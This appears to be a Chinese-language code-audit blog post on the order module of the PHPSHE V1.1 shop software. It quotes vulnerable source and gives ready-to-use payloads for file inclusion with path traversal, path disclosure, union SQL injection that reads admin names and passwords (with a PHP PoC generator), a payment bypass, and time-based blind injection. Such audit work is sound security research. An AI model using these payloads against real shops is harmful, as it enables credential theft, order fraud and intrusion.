PHPSHE V1.1 (二)
order.php
接下來,我們來看看order
購物車及訂單模塊。
大致看一下、購物車列表主要以序列化形式緩存在cookie裏面,第一反應就想到能不能有序列化注入?选择支付方式似乎也存在包含漏洞。
先看看选择支付方式的包含漏洞的。
//Line:106
case 'pay':
...
if (isset($_p_pesubmit)) {
...
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
此處$_p_info['order_payway']
可控且未經過濾。
【Bug 0x04: 任意文件包含漏洞 有限制條件】
POST:/index.php?mod=order&act=pay
DATA:info[order_payway]=../../../robots.txt%00?&pesubmit=1
再看看,订单增加操作無需登陸就可以對數據庫操作。
//Line:65
case 'add':
$cart_info = cart_info(unserialize($_c_cart_list));
跟進cart_info()
函數
//Line:135
function cart_info($_c_cart_list=array()) {
...
else {
if (is_array($_c_cart_list)) {
foreach ($_c_cart_list as $k => $v) {
$product_rows = $db->pe_select('product', array('product_id'=>$k), '`product_name`, `product_logo`, `product_smoney`, `product_num` as `product_maxnum`');
$info_list[] = array_merge($v, $product_rows);
這個地方、除了可能有sql注入,同時還有一個亮點
$info_list[] = array_merge($v, $product_rows);
函數array_merge()
錯誤的參數也會導致出現謝謝洩漏的。
我們任意構造一個錯誤的序列化訂單,例如a:1:{s:0:"";a:1:{s:11:"product_num";N;}}
這是通過空購物車的時候,進行购物车商品更改数量操作自動生成的一個錯誤的商品信息。
/index.php?mod=order&act=cartnum
然後再次進行任意一個調用到cart_info()
函數的操作就會發生錯誤并返回錯誤信息。
【Bug 0x05: 信息洩露 爆路徑】
URL:/index.php?mod=order&act=cartnum
/index.php?mod=order&act=add
/index.php?mod=order&act=cartdel
Cookie:cart_list=a:1:{s:0:"";a:1:{s:11:"product_num";N;}}
Warning: array_merge(): Argument #2 is not an array in E:\SourceCodes\phpshe1.1\module\index\order.php on line 148
現在我們繼續審計是否存在注入。
//Line:142
if (is_array($_c_cart_list)) {
foreach ($_c_cart_list as $k => $v) {
$product_rows = $db->pe_select('product', array('product_id'=>$k), '`product_name`, `product_logo`, `product_smoney`, `product_num` as `product_maxnum`');
$k
存在注入。
跟進pe_select()
函數
//Line:135
public function pe_select($table, $where = '', $field = '*')
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
再跟進_dowhere()
函數
//Line:181
//处理条件语句
protected function _dowhere($where)
{
if (is_array($where)) {
foreach ($where as $k => $v) {
if (is_array($v)) {
$where_arr[] = "`{$k}` in('".implode("','", $v)."')";
}
else {
in_array($k, array('order by', 'group by')) ? ($sqlby = " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'");
}
}
$sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby;
}
else {
$where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}";
}
return $sqlwhere;
}
來自$_c_cart_list
的$k
未經過濾被帶入sql語句中,導致where條件注入。
這時,我們可以構造一個特殊的序列化購物車訂單,利用union任意查詢數據庫內容。
PHP_生成POC
<?php
$b["'union select admin_name,2,3,4 from pe_admin -- -"][0] = '1\'';
$b["'union select admin_pw,2,3,4 from pe_admin -- -"][1] = '1\'';
$s = serialize($b);
print_r($s);
?>
【Bug 0x06: SQL注入 任意查詢】
URL:/index.php?mod=order&act=add
Cookie:
a:2:{s:49:"'union select admin_name,2,3,4 from pe_admin -- -";a:1:{i:0;s:2:"v'";}s:47:"'union select admin_pw,2,3,4 from pe_admin -- -";a:1:{i:1;s:2:"v'";}}
兩個商品名稱處分別顯示管理員用戶名和密碼。
回到订单增加操作。
//Line:73-80
$_p_info['order_productmoney'] = $money['order_productmoney'];
$_p_info['order_wlmoney'] = $money['order_wlmoney'];
$_p_info['order_money'] = $money['order_money'];
$_p_info['order_atime'] = time();
$_p_info['user_id'] = $_s_user_id;
$_p_info['user_name'] = $_s_user_name;
$_p_info['user_address'] = "{$_p_province}{$_p_city}{$_p_info['user_address']}";
if ($order_id = $db->pe_insert('order', $_p_info)) {
我們用print_r()
或者var_dump()
輸出$_p_info
Array
(
[user_address] => 河南省郑州市測試
[user_tname] => 姓名
[user_phone] => 13012345678
[user_tel] =>
[order_text] =>
[order_productmoney] => 133.0
[order_wlmoney] => 0.0
[order_money] => 133.0
[order_atime] => 1461044204
[user_id] =>
[user_name] =>
)
這時可以發現user_tname
和user_phone
和user_tel
和order_text
都沒有經過處理,就代入了sql查詢。
這裡、我們可以利用update注入了。當然,我們沒有登陸、無法查看到訂單詳情。
同時,我們也可以構造其他的參數例如order_state
,直接修改訂單狀態。
【Bug 0x07: 支付繞過】
URL:
/index.php?mod=order&act=add
DATA:
....
info[order_state]=paid
雖然會返回訂單號錯誤,但確實是成功了。
在登陸情況下,該頁面也存在不少注入漏洞。
//Line:34
case 'cartnum':
$money['order_productmoney'] = $money['order_wlmoney'] = $money['order_money'] = 0;
if (pe_login('user')) {
$result = $db->pe_update('cart', array('user_id'=>$_s_user_id, 'product_id'=>$_g_product_id), array('product_num'=>$_g_product_num));
}
$_g_product_id
和$_g_product_num
未經顧慮就帶入了sql更新。
【Bug 0x08: SQL注入 Update注入 AND/OR time-based blind 登陸限制】
URL:
/index.php?mod=order&act=cartnum&product_id=1&product_num=12' AND (SELECT * FROM (SELECT(SLEEP(5)))YfCN) AND 'RShN'='RShN
Copyright ©2016 由 Virink 技术博客 强力驱动